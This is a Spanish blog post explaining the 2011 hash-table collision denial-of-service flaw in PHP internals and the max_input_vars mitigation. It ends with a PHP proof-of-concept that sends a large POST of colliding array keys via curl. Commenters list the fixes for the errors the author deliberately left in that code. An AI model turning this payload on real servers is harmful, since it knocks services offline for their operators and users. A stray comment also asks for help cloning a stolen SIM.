Denegación de servicio a través de tabla hash en PHP
Enero 2, 2012
En el 2003, Scott A. Crosby y Dan S. Wallach publicaron la teoría inicial de denegación de servicio a través de tablas hash en el artículo "Denial of Service via Algorithmic Complexity Attacks", allí explican como las deficiencias en los algoritmos para generar el índice de la tabla hash y la implementación de algoritmos contra colisiones pueden ser aprovechados para provocar una denegación de servicio que utiliza poco ancho de banda.
El 28 de diciembre de 2011, la compañía de consultoría n.runs envió a la lista de Full Disclosure una publicación con más detalle de la vulnerabilidad, mencionando en este caso los productos afectados, entre los que podemos encontrar: PHP, Java, Apache Tomcat, Apache Geronimo, Jetty, Oracle Glassfish, ASP.NET, Python, Plone, CRuby 1.8, JRuby, Rubinius y v8.
A continuación un pequeño resumen de la vulnerabilidad y como puede ser explotada en PHP.
Tablas hash
La tabla hash es una estructura de datos usada para asociar índices con valores. A continuación el ejemplo típico de tabla hash en PHP.
Esta asociación se realiza nativamente en PHP5 mediante un índice numérico obtenido a través de la función DJBX33A cuando el índice es una cadena de texto. Si el índice es numérico entonces el hash es simplemente el índice.
{
register ulong hash = 5381;
/* variant with the hash unrolled eight times */
for (; nKeyLength >= 8; nKeyLength -= 8) {
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
}
switch (nKeyLength) {
case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 1: hash = ((hash << 5) + hash) + *arKey++; break;
case 0: break;
EMPTY_SWITCH_DEFAULT_CASE()
}
return hash;
}
El resultado para la anterior asociación es algo similar a:
Cuando se produce una colisión (Índices diferentes con el mismo valor hash), existen diferentes algoritmos para conservar los valores aún sabiendo que el índice nativo es el mismo.
PHP usa el algoritmo de encadenamiento separado, para cada índice con colisión crea una lista con los valores como es mostrado a continuación. (Imagen generada por Jorge Stolfi)
La colisión está presente para los índices "John Smith" y "Sandra Dee", en el índice nativo 152 se crea una lista con los valores originales de John y Sandra: "521-1234" y "521-9655". Cuando se crean muchas colisiones, el algoritmo debe recorrer todos los elementos en busca del último en la lista.
Ahora veamos la vulnerabilidad desde la programación de PHP. Para cada índice en la tabla hash se tiene una estructura llamada bucket:
ulong h; /* Used for numeric indexing */ // hash
uint nKeyLength; // longitud del índice (En caso de ser cadena de texto)
void *pData;
void *pDataPtr;
struct bucket *pListNext; // siguiente elemento
struct bucket *pListLast; // último elemento
struct bucket *pNext; // siguiente elemento cuando hay colisión
struct bucket *pLast; // último elemento cuando hay colisión
char arKey[1]; /* Must be last element */
} Bucket;
Al crear un array con valores numéricos, PHP llama internamente la función _zend_hash_index_update_or_next_insert que tiene como principal argumento la tabla hash y el hash h que corresponde al índice numérico.
Si el elemento está destinado a inserción, se busca el siguiente elemento libre de la tabla hash
h = ht->nNextFreeElement;
}
Y acá se encuentra la vulnerabilidad, al hash se le aplica la operación AND con la máscara de la tabla que es definida como ht->nTableMask = ht->nTableSize - 1, y es asignado al índice nativo
El tamaño de la tabla a su vez es definida por la instrucción ht->nTableSize = 1 << i;, la cual permite definir un tamaño razonable en potencias de dos, comenzando desde un tamaño mínimo de 8.
| Número de elementos | Tamaño real |
| 1 | 8 |
| 2 | 8 |
| 3 | 8 |
| 7 | 8 |
| 15 | 16 |
| 60 | 64 |
| 269 | 512 |
Luego de obtener el índice nativo, se retorna el bucket para ese índice. Si el bucket es diferente de nulo entonces es porque se encontró una colisión, lo siguiente que hace el algoritmo es comparar el hash actual con el hash anterior (Recordar que el hash es el índice numérico no nativo, por lo que deben ser diferentes), si son diferentes retorna el próximo bucket que se encuentra en la lista para la colisión nIndex. Cuando las colisiones son muchas, el ciclo es comparado a un ciclo infinito, lo que produce la denegación de servicio.
while (p != NULL) {
if ((p->nKeyLength == 0) && (p->h == h)) {
// comentado para ahorrar espacio
}
p = p->pNext;
En PHP 5.3.9 se introdujo una nueva variable de configuración llamada "max_input_vars" que por defecto está en 1000. Es recomendable su actualización.
No siendo más, la famosa prueba de concepto.
Y el código con el que se realizó dicha prueba.
/**
* Denial of service using hash table collisions in PHP
* @author Daniel Correa
* @url http://www.sinfocol.org/
*/
$payload = '';
$url = 'http://localhost/';
$size = 1024 * 1024 * 8; // 8MB is the default POST size in PHP
$i = 0;
do {
$payload .= 'h[ ' . ($i * 8192) . ']=0';
} while (strlen($payload) < $size - 1024);
$start = microtime(true);
echo "Sending payload...\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
$data = curl_exec($ch);
echo "Elapsed time: " . (microtime(true) - $start);
Me da la sensación que dicho exploit ni lo has probado. Creo que falta el carácter *** y aumentar el valor de *** en cada iteración.
No sé que pensar la verdad... además, el consumo se podría dar por enviar 8MB de mierda en localhost... :-/
El exploit yo lo desarrollé, por lo tanto lo he probado y es funcional, el video lo muestra, para qué mentirles?
Claro, ha sido modificado como medida contra aquellos que solo se dedican a copiar, pegar y explotar, en sí, el código tiene tres errores para aquellos interesados en corregirlo y entender la vulnerabilidad, dos de ellos los mencionaste, el último pasa desapercibido.
El consumo se da porque itera muchas veces en busca del último elemento de la lista de la colisión, si el consumo fuera por los 8MB, Internet no sería como lo conocemos ahora.
Gracias por comentar!
Muy interesante la vulnerabilidad, especialmente por la cantidad y variedad de productos afectados.
El exploit si que funciona solo hay que arreglarle unos detalles y como dice Sinfocol/hds la denegación de servicio no es por los 8 MB que se envían vía POST, ya que para explotar la vulnerabilidad para PHP ni siquiera hay necesidad de establecer conexión alguna.
Saludos!!
Como entenderás, si me dices que está modificado para que no funcione, es normal que no funcionará
Y el tercer "error" (que no es un error) es de cajón si se entiende lo que esta haciendo xD pero no lo diré para que no chafarte nada.
Buen trabajo en tal caso
hoy lo probaré corregido a ver que tal funciona.
Ya le correji los errrores es muy facil ... la verdad No puedo creer que alla gente que se dedique solo a copiar y pegar sin nisiquiera tener un poquito de conocimiento y practica .
Esos errores son:
1- El comentario multilinea(Se lo kite)
2-Los espacios que hay en la linea 7
3-Le falta el Cierre a la etiqueta Php osea esto ?>
Correcto Yo! Descubriste todos los errores
hola chicos como estan miren q yo quiero saber si alguno de uds me puede ayudar con un problema q tengo. veran hace 2 semanas me robaron mi cell y necesito clonar mi numero porq mi compañia de celular no me lo quiere recuperar, no se porq. el caso es q en esa sim tengo info importante y contactos de la usa q me mandan dinero, hace como unos 2 dias me estan llamando pidiendo me dinero y amenazando me me tube q cambiar de casa por eso. y me urge recuperar esa sim, por favor alguien q me ayude.... mi mail es:
teru_douji@rocketmail.com
por fa una respuesta